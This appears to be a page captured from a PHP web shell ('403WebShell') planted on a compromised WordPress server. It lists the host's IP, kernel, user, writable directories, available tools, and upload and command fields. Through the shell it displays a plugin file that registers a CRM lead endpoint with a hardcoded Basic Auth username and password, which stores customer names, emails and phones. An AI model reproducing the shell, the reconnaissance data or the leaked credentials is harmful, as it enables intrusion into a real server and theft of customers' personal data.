Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.217.37
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/plugins/api_manager/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/plugins/api_manager/includes/class-crm-lead-endpoint.php
<?php
if (!defined('ABSPATH')) exit; // Exit if accessed directly

class Crm_Lead_Endpoint {

    // Constructor to register the custom endpoint
    public function __construct() {
        add_action('init', [$this, 'register_custom_endpoint']);
    }

    // Register a custom endpoint
    public function register_custom_endpoint() {
        add_rewrite_rule('^crm-lead-endpoint/?$', 'index.php?crm_lead_endpoint=1', 'top');
        add_filter('query_vars', [$this, 'add_query_var']);
        add_action('template_redirect', [$this, 'handle_custom_endpoint']);
    }

    // Add custom query var for detection
    public function add_query_var($query_vars) {
        $query_vars[] = 'crm_lead_endpoint';
        return $query_vars;
    }

    // Handle requests to the custom endpoint
    public function handle_custom_endpoint() {
        if (get_query_var('crm_lead_endpoint') != 1) {
            return;
        }

        // Include WordPress functions for DB
        global $wpdb;

        // Basic Auth credentials
        $valid_username = 'RMS_USER'; // Replace with your username
        $valid_password = 'RMS_iTroSys123!'; // Replace with your password

        // Basic Authentication
        if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) {
            header('WWW-Authenticate: Basic realm="Restricted Area"');
            header('HTTP/1.0 401 Unauthorized');
            echo json_encode(['error' => 'Unauthorized: Missing credentials']);
            exit;
        }

        if ($_SERVER['PHP_AUTH_USER'] !== $valid_username || $_SERVER['PHP_AUTH_PW'] !== $valid_password) {
            header('HTTP/1.0 401 Unauthorized');
            echo json_encode(['error' => 'Unauthorized: Invalid credentials']);
            exit;
        }

        // Parse the incoming data
        $request_body = file_get_contents('php://input');
        $data = json_decode($request_body, true);

        if (empty($data['lead_id']) || empty($data['phone'])) {
            header('HTTP/1.0 400 Bad Request');
            echo json_encode(['error' => 'Invalid data: Missing required fields']);
            exit;
        }

        // "lead_id": "Lead ID",
        // "date_raised": "Date Raised",
        // "user_name": "User Name",
        // "user_email": "User Email",
        // "phone": "Phone",
        // "rental_start_date": "Rental Start Date",
        // "rental_end_date": "Rental End Date",
        // "product_name": "Product Name",
        // "additional_equipment": "Additional Equipment",
        // "location": "Location",
        // "user_note": "User Note",               
        // "customer_id": "Customer ID",          
        // "equipment_type": "Equipment Type",
        // "lead_source": "Lead Source",
        // "lead_type": "Lead Type",
        // "status": "Lead Status", 
        // "oracle_last_update": "Last Update in Oracle"

        // Sanitize data
        $lead_id = sanitize_text_field($data['lead_id']);
        $date_raised = sanitize_text_field($data['date_raised']);
        $user_name = sanitize_text_field($data['user_name']);
        $user_email = sanitize_text_field($data['user_email']);
        $phone = sanitize_text_field($data['phone']);
        $rental_start_date = sanitize_text_field($data['rental_start_date']);
        $rental_end_date = sanitize_text_field($data['rental_end_date']);
        $product_name = sanitize_text_field($data['product_name']);
        $additional_equipment = sanitize_text_field($data['additional_equipment']);
        $location = sanitize_text_field($data['location']);
        $user_note = sanitize_text_field($data['user_note']);
        $customer_id = sanitize_text_field($data['customer_id']);
        $equipment_type = sanitize_text_field($data['equipment_type']);
        $lead_source = sanitize_text_field($data['lead_source']);
        $lead_type = sanitize_text_field($data['lead_type']);
        $status = sanitize_text_field($data['status']);
        $oracle_last_update = sanitize_text_field($data['oracle_last_update']);




        // Database table name
        $table_name = $wpdb->prefix . 'oracle_lead';

       // Ensure the table exists
        $wpdb->query("
            CREATE TABLE IF NOT EXISTS $table_name (
            id INT(11) NOT NULL AUTO_INCREMENT,
            lead_id VARCHAR(255) NOT NULL,
            date_raised DATETIME NOT NULL,
            user_name VARCHAR(255) NOT NULL,
            user_email VARCHAR(255) NOT NULL,
            phone VARCHAR(20) NOT NULL,
            rental_start_date DATE,
            rental_end_date DATE,
            product_name VARCHAR(255),
            additional_equipment VARCHAR(255),
            location VARCHAR(255),
            user_note TEXT,
            status VARCHAR(50),
            customer_id VARCHAR(255),
            equipment_type VARCHAR(255),
            oracle_last_update DATETIME NOT NULL,
            lead_source VARCHAR(255),
            lead_type VARCHAR(255),
            ba_remarks TEXT,
            last_updated TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
            PRIMARY KEY (id)
            ) " . $wpdb->get_charset_collate()
        );

        // Insert the data
        $inserted = $wpdb->insert($table_name, [
        'lead_id' => $lead_id,
        'date_raised' => $date_raised,
        'user_name' => $user_name,
        'user_email' => $user_email,
        'phone' => $phone,
        'rental_start_date' => $rental_start_date,
        'rental_end_date' => $rental_end_date,
        'product_name' => $product_name,
        'additional_equipment' => $additional_equipment,
        'location' => $location,
        'user_note' => $user_note,               
        'customer_id' => $customer_id,          
        'equipment_type' => $equipment_type,
        'lead_source' => $lead_source,
        'lead_type' => $lead_type,
        'status' => $status, 
        'oracle_last_update' => $oracle_last_update,
        'last_updated' => current_time('mysql'),
        ]);

        // Return the response
        if ($inserted) {
            header('Content-Type: application/json');
            echo json_encode(['success' => 'Lead Data saved successfully']);
        } else {
            header('HTTP/1.0 500 Internal Server Error');
            echo json_encode(['error' => 'Failed to save data']);
        }
        exit;
    }
}

// Initialize the endpoint
new Crm_Lead_Endpoint();


Youez - 2016 - github.com/yon3zu
LinuXploit